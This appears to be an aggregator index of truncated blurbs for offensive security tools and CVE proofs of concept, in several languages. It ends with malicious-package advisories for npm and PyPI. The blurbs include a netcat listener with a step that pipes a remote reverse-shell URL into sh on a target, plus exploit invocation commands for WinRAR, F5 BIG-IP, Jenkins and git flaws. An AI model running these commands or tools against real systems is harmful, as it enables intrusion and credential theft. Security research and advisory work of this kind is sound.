trojanizer

TROJANIZER root@kitploit: Version release : v1.1 Stable Author : pedro ubuntu r00t-3xp10it Codename: TroiaRevisited Distros Supported : Ubuntu, Kali, Mint, Parrot OS Suspicious-Shell-Activity SSA RedTeam develop @2017 FRAMEWORK DESCRIPTION root@kitploit: The Trojanizer tool uses WinRAR SFX to...

reverse-shell

reverse-shell 리버스 셸 서비스 - https://reverse-shell.sh 기억하기 쉬운 리버스 셸로, 대부분의 유닉스 계열 시스템에서 작동합니다. 대상에서 사용 가능한 소프트웨어를 감지하고 적절한 페이로드를 실행합니다. 사용법 1. 연결 대기 자신의 머신에서 포트를 열고 대기합니다. netcat으로 쉽게 할 수 있습니다. root@kitploit: nc -l 1337 2. 대상에서 리버스 셸 실행 대상 머신에서 https://reverse-shell.sh/yourip:port의 출력을 sh로 파이프합니다...

CVE-2024-25897

매개변수 ip , puerto , ruta 익스플로잇 출력 도움말 패널 익스플로잇 설명 코드 설명은 다음과 같습니다: 코드 설명 이 스크립트는 JenkinsCVE-2024-23897의 특정 취약점을 악용하도록 설계되었습니다. Jenkins 서버에서 JAR 파일을 다운로드하고 페이로드를 실행하여 Jenkins 노드를 연결할 수 있도록 합니다. 아래는 코드의 각 부분에 대한 설명입니다. 모듈 가져오기 root@kitploit: import argparse import requests import os import subproces...

Beleth

Beleth 사전 기반 SSH 크래커 root@kitploit: Usage: ./beleth OPTIONS -c payload Execute payload on remote server once logged in -h Display this help -l threads Limit threads to given number. Default: 4 -p port Specify remote port -P password Use single password attempt -t target Attempt connections to thi...

CVE-2024-26169-Detail-1

CVE-2017-11882-metasploit 다음 POC를 사용하여 CVE-2017-11882를 익스플로잇하는 Metasploit 모듈입니다: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. 설치 1. cve201711882.rb를 /usr/share/metasploit-framework/modules/exploits/windows/local/로 복사하십시오. 2. cve-2017-11882.rtf를...

pyrdp

PyRDP PyRDP は、Python で書かれた Remote Desktop Protocol RDP Monster-in-the-Middle MITM ツールおよびライブラリです。 以下のツールを備えています。 RDP モンスター・イン・ザ・ミドル 接続時に使用される平文の認証情報または NetNTLM ハッシュをログに記録 クリップボードにコピーされたデータを盗み取る ネットワークを介して転送されたファイルのコピーを保存 バックグラウンドで共有ドライブをクロールし、ローカルに保存 接続のリプレイを保存して、後で確認可能 新しい接続時にコンソールコマンドまたは...

Hwacha

Hwacha https://www.n00py.io/2017/12/raining-shells-on-linux-environments-with-hwacha/ Hwacha는 Nix 기반 시스템에서 페이로드를 빠르게 실행하기 위한 도구입니다. 자격 증명을 획득한 전체 서브넷의 시스템에서 아티팩트를 쉽게 수집하거나 셸코드를 실행할 수 있습니다. root@kitploit: $python hwacha.py &&&& && && && &&&&&&&&&&&& && && && Created by Esteban Rodriguez /\ &&&&&& ...

CVE-2017-9779

Windows의 Path Users로부터 자동 실행 페이로드 :: Cmder란 무엇인가? Cmder는 Windows에서 멋진 콘솔 에뮬레이터가 없다는 순수한 좌절감에서 만들어진 소프트웨어 패키지입니다. 멋진 소프트웨어를 기반으로 하며, Monokai 색상 구성표와 사용자 정의 프롬프트 레이아웃으로 처음부터 섹시하게 보이도록 구성되었습니다. Cmder 사이트 프레임워크! http://cmder.net/ .bashrc란 무엇인가? 실행 파일입니다. 작성하는 모든 단어가 터미널에 직접 표시됩니다. 불행히도 모든 Linux 시스템에서...

NyxInvoke

NyxInvoke NyxInvoke는 .NET 어셈블리, PowerShell 명령/스크립트, BOFBeacon Object Files 및 PE 파일을 실행하기 위한 다목적 Rust 기반 도구로, 내장된 Ntdll 언후킹, 패치리스 AMSI 및 ETW 우회 기능을 갖추고 있습니다. 독립 실행형 실행 파일 또는 DLL로 컴파일할 수 있습니다. 기능 .NET 어셈블리 실행 PowerShell 명령 또는 스크립트 실행 BOFBeacon Object Files 로드 및 실행 PE 파일EXE 로드 및 실행 내장된 패치리스 AMSI안티 멀...

CVE-2025-48384

CVE-2025-48384 PoC 참조: CVE-2025-48384 실행 방법: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git 출력 예시: root@kitploit: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into 'test'...

drow

drow 설명 TL;DR drow는 ELF 실행 파일빌드 후에 코드를 삽입하고 진입점을 후킹하는 데 사용되는 명령줄 유틸리티입니다. 수정되지 않은 ELF 실행 파일을 입력으로 받아 런타임에 실행되는 사용자 제공 페이로드가 포함된 수정된 ELF를 내보냅니다. 약간 더 자세히 ... Drow는 새 패치된 ELF를 생성하기 위해 다음 단계를 수행합니다: 1. 수정되지 않은 대상 ELF 실행 파일과 사용자 제공 페이로드위치 독립적인 블롭를 매핑합니다. 2. 프로그램 헤더를 파싱하여 첫 번째 실행 가능 세그먼트를 찾습니다. 3. 섹션...

CVE-2017-11882-metasploit

CVE-2017-11882-metasploit 이것은 CVE-2017-11882를 악용하는 Metasploit 모듈로, 아래의 POC를 사용합니다: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. 설치 1. cve201711882.rb 파일을 /usr/share/metasploit-framework/modules/exploits/windows/local/로 복사하세요. 2. cve-2017-11882.rtf 파일을...

CVE-2025-8088

CVE-2025-8088 – WinRAR 익스플로잇 이 저장소는 WinRAR의 CVE-2025-8088 취약점을 악용하는 악성 RAR 파일 생성기 를 포함하고 있으며, 피해자가 압축을 풀 때 겉으로는 정상적인 파일이 페이로드를 실행하도록 합니다. 권장 명령어 root@kitploit: python3 exploit7.12.py \ -p payload.exe \ -o exploit.rar \ --username Ojo USUARIO VICTIMA \ --placeholder-len 200 \ --max-up 12 \ --verbo...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP に影響する CVE-2022-1388 の PoC。 使い方 root@kitploit: $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --file FILE File list...

CVE-2021-40444--CABless

CVE-2021-40444--CABレス版 更新: CABアーカイブに依存しなくてもよいようにコードを修正しました ペイロード実行をトリガーする「index.html」ファイルには、'script'タグ内にコード1行のみが含まれます： PDF形式の記事が提供されています。 更新: デモ動画へのリンク - https://www.youtube.com/watch?v=V9XD3VboEcU 注:...

horrors-log4shell

horrors-log4shell CVE-2021-44228 log4j를 위한 마이크로 연구실 놀이터? 여러 대상에 대해 페이로드를 실행하는 데 사용할 수 있습니다. 대상별 페이로드는 런타임에 생성됩니다. 조정 가능한 구성 및 우회 방법. 설치 Java 관련 요구사항 개발 / 실행 예제 Gradle Maven 최근 log4j 관련 취약점CVE-2021-44228, CVE-2021-45046을 테스트하려면: JDK 8u121 Ysoserial 컴파일 JAR https://github.com/frohoff/ysoserial 양쪽에서...

MAL-2026-16127 Malicious code in eth-account-web3 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 38b69dc345e5f7b75dbe6dccaf3dfc013a98e302176130aac064cbd8d042bae7 The distribution eth-account-web3 installs under the import name ethaccount, colliding with the legitimate ethereum/eth-account library. On import,...

EXPLOITER

EXPLOITER: Explotación automatizada para CVE-2024-0044 EXPLOITER es una herramienta sofisticada diseñada para la explotación automatizada de vulnerabilidades CVE-2024-0044. Este script simplifica el proceso de explotación de aplicaciones Android vulnerables automatizando el despliegue del payload...

MAL-2026-13301 Malicious code in dolyame-boxy-desktop-bnpl-card-gallery (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e20a9180ff2928b0498496b59c96983db044063b8db7c5e258b6518d5daf00a On require of this package, index.js loads bridge.js which downloads a platform-specific binary from hardcoded Cloudflare Workers hosts...

Malicious code in bigops-telephony-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98fd12faa59a5e65d0383cfb3be55ccd49beca5c74cb350b62f5717be83bcd65 On require of bigops-telephony-client, index.js loads./runtime.js, which unconditionally downloads a platform-specific binary over HTTPS from...